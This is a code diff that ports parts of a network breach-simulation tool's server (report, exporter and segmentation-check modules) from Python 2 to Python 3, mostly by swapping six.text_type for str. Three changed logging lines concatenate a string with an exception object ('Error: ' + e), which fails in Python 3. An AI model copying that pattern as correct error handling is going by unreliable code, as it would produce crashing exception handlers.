@ -155,7 +155,7 @@ class EdgeService:
|
||||||
else:
|
else:
|
||||||
to_label = NodeService.get_node_label(NodeService.get_node_by_id(to_id))
|
to_label = NodeService.get_node_label(NodeService.get_node_by_id(to_id))
|
||||||
|
|
||||||
RIGHT_ARROW = "\\u2192"
|
RIGHT_ARROW = "\u2192"
|
||||||
return "%s %s %s" % (from_label, RIGHT_ARROW, to_label)
|
return "%s %s %s" % (from_label, RIGHT_ARROW, to_label)
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -107,10 +107,10 @@ class AWSExporter(Exporter):
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
except UnknownServiceError as e:
|
except UnknownServiceError as e:
|
||||||
logger.warning('AWS exporter called but AWS-CLI securityhub service is not installed. Error: ' + e.message)
|
logger.warning('AWS exporter called but AWS-CLI securityhub service is not installed. Error: ' + e)
|
||||||
return False
|
return False
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.exception('AWS security hub findings failed to send. Error: ' + e.message)
|
logger.exception('AWS security hub findings failed to send. Error: ' + e)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
|
|
@ -5,7 +5,6 @@ import logging
|
||||||
import ipaddress
|
import ipaddress
|
||||||
from bson import json_util
|
from bson import json_util
|
||||||
from enum import Enum
|
from enum import Enum
|
||||||
from six import text_type
|
|
||||||
|
|
||||||
from common.network.network_range import NetworkRange
|
from common.network.network_range import NetworkRange
|
||||||
from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst
|
from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst
|
||||||
|
@ -396,7 +395,7 @@ class ReportService:
|
||||||
|
|
||||||
return \
|
return \
|
||||||
[
|
[
|
||||||
ipaddress.ip_interface(text_type(network['addr'] + '/' + network['netmask'])).network
|
ipaddress.ip_interface(str(network['addr'] + '/' + network['netmask'])).network
|
||||||
for network in network_info['data']['network_info']['networks']
|
for network in network_info['data']['network_info']['networks']
|
||||||
]
|
]
|
||||||
|
|
||||||
|
@ -409,7 +408,7 @@ class ReportService:
|
||||||
monkey_subnets = ReportService.get_monkey_subnets(monkey['guid'])
|
monkey_subnets = ReportService.get_monkey_subnets(monkey['guid'])
|
||||||
for subnet in monkey_subnets:
|
for subnet in monkey_subnets:
|
||||||
for ip in island_ips:
|
for ip in island_ips:
|
||||||
if ipaddress.ip_address(text_type(ip)) in subnet:
|
if ipaddress.ip_address(str(ip)) in subnet:
|
||||||
found_good_ip = True
|
found_good_ip = True
|
||||||
break
|
break
|
||||||
if found_good_ip:
|
if found_good_ip:
|
||||||
|
@ -438,7 +437,7 @@ class ReportService:
|
||||||
ip_in_src = None
|
ip_in_src = None
|
||||||
ip_in_dst = None
|
ip_in_dst = None
|
||||||
for ip_addr in monkey['ip_addresses']:
|
for ip_addr in monkey['ip_addresses']:
|
||||||
if source_subnet_range.is_in_range(text_type(ip_addr)):
|
if source_subnet_range.is_in_range(str(ip_addr)):
|
||||||
ip_in_src = ip_addr
|
ip_in_src = ip_addr
|
||||||
break
|
break
|
||||||
|
|
||||||
|
@ -447,7 +446,7 @@ class ReportService:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
for ip_addr in monkey['ip_addresses']:
|
for ip_addr in monkey['ip_addresses']:
|
||||||
if target_subnet_range.is_in_range(text_type(ip_addr)):
|
if target_subnet_range.is_in_range(str(ip_addr)):
|
||||||
ip_in_dst = ip_addr
|
ip_in_dst = ip_addr
|
||||||
break
|
break
|
||||||
|
|
||||||
|
@ -483,7 +482,7 @@ class ReportService:
|
||||||
scans.rewind() # If we iterated over scans already we need to rewind.
|
scans.rewind() # If we iterated over scans already we need to rewind.
|
||||||
for scan in scans:
|
for scan in scans:
|
||||||
target_ip = scan['data']['machine']['ip_addr']
|
target_ip = scan['data']['machine']['ip_addr']
|
||||||
if target_subnet_range.is_in_range(text_type(target_ip)):
|
if target_subnet_range.is_in_range(str(target_ip)):
|
||||||
monkey = NodeService.get_monkey_by_guid(scan['monkey_guid'])
|
monkey = NodeService.get_monkey_by_guid(scan['monkey_guid'])
|
||||||
cross_segment_ip = get_ip_in_src_and_not_in_dst(monkey['ip_addresses'],
|
cross_segment_ip = get_ip_in_src_and_not_in_dst(monkey['ip_addresses'],
|
||||||
source_subnet_range,
|
source_subnet_range,
|
||||||
|
|
|
@ -30,4 +30,4 @@ class ReportExporterManager(object, metaclass=Singleton):
|
||||||
try:
|
try:
|
||||||
exporter().handle_report(report)
|
exporter().handle_report(report)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.exception('Failed to export report, error: ' + e.message)
|
logger.exception('Failed to export report, error: ' + e)
|
||||||
|
|
|
@ -1,5 +1,4 @@
|
||||||
import itertools
|
import itertools
|
||||||
from six import text_type
|
|
||||||
|
|
||||||
from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_PASSED
|
from common.data.zero_trust_consts import STATUS_FAILED, EVENT_TYPE_MONKEY_NETWORK, STATUS_PASSED
|
||||||
from common.network.network_range import NetworkRange
|
from common.network.network_range import NetworkRange
|
||||||
|
@ -34,8 +33,7 @@ def test_segmentation_violation(current_monkey, target_ip):
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
def is_segmentation_violation(current_monkey, target_ip, source_subnet, target_subnet):
|
def is_segmentation_violation(current_monkey: Monkey, target_ip: str, source_subnet: str, target_subnet: str) -> bool:
|
||||||
# type: (Monkey, str, str, str) -> bool
|
|
||||||
"""
|
"""
|
||||||
Checks is a specific communication is a segmentation violation.
|
Checks is a specific communication is a segmentation violation.
|
||||||
:param current_monkey: The source monkey which originated the communication.
|
:param current_monkey: The source monkey which originated the communication.
|
||||||
|
@ -49,7 +47,7 @@ def is_segmentation_violation(current_monkey, target_ip, source_subnet, target_s
|
||||||
source_subnet_range = NetworkRange.get_range_obj(source_subnet)
|
source_subnet_range = NetworkRange.get_range_obj(source_subnet)
|
||||||
target_subnet_range = NetworkRange.get_range_obj(target_subnet)
|
target_subnet_range = NetworkRange.get_range_obj(target_subnet)
|
||||||
|
|
||||||
if target_subnet_range.is_in_range(text_type(target_ip)):
|
if target_subnet_range.is_in_range(str(target_ip)):
|
||||||
cross_segment_ip = get_ip_in_src_and_not_in_dst(
|
cross_segment_ip = get_ip_in_src_and_not_in_dst(
|
||||||
current_monkey.ip_addresses,
|
current_monkey.ip_addresses,
|
||||||
source_subnet_range,
|
source_subnet_range,
|
||||||
|
|
Loading…
Reference in New Issue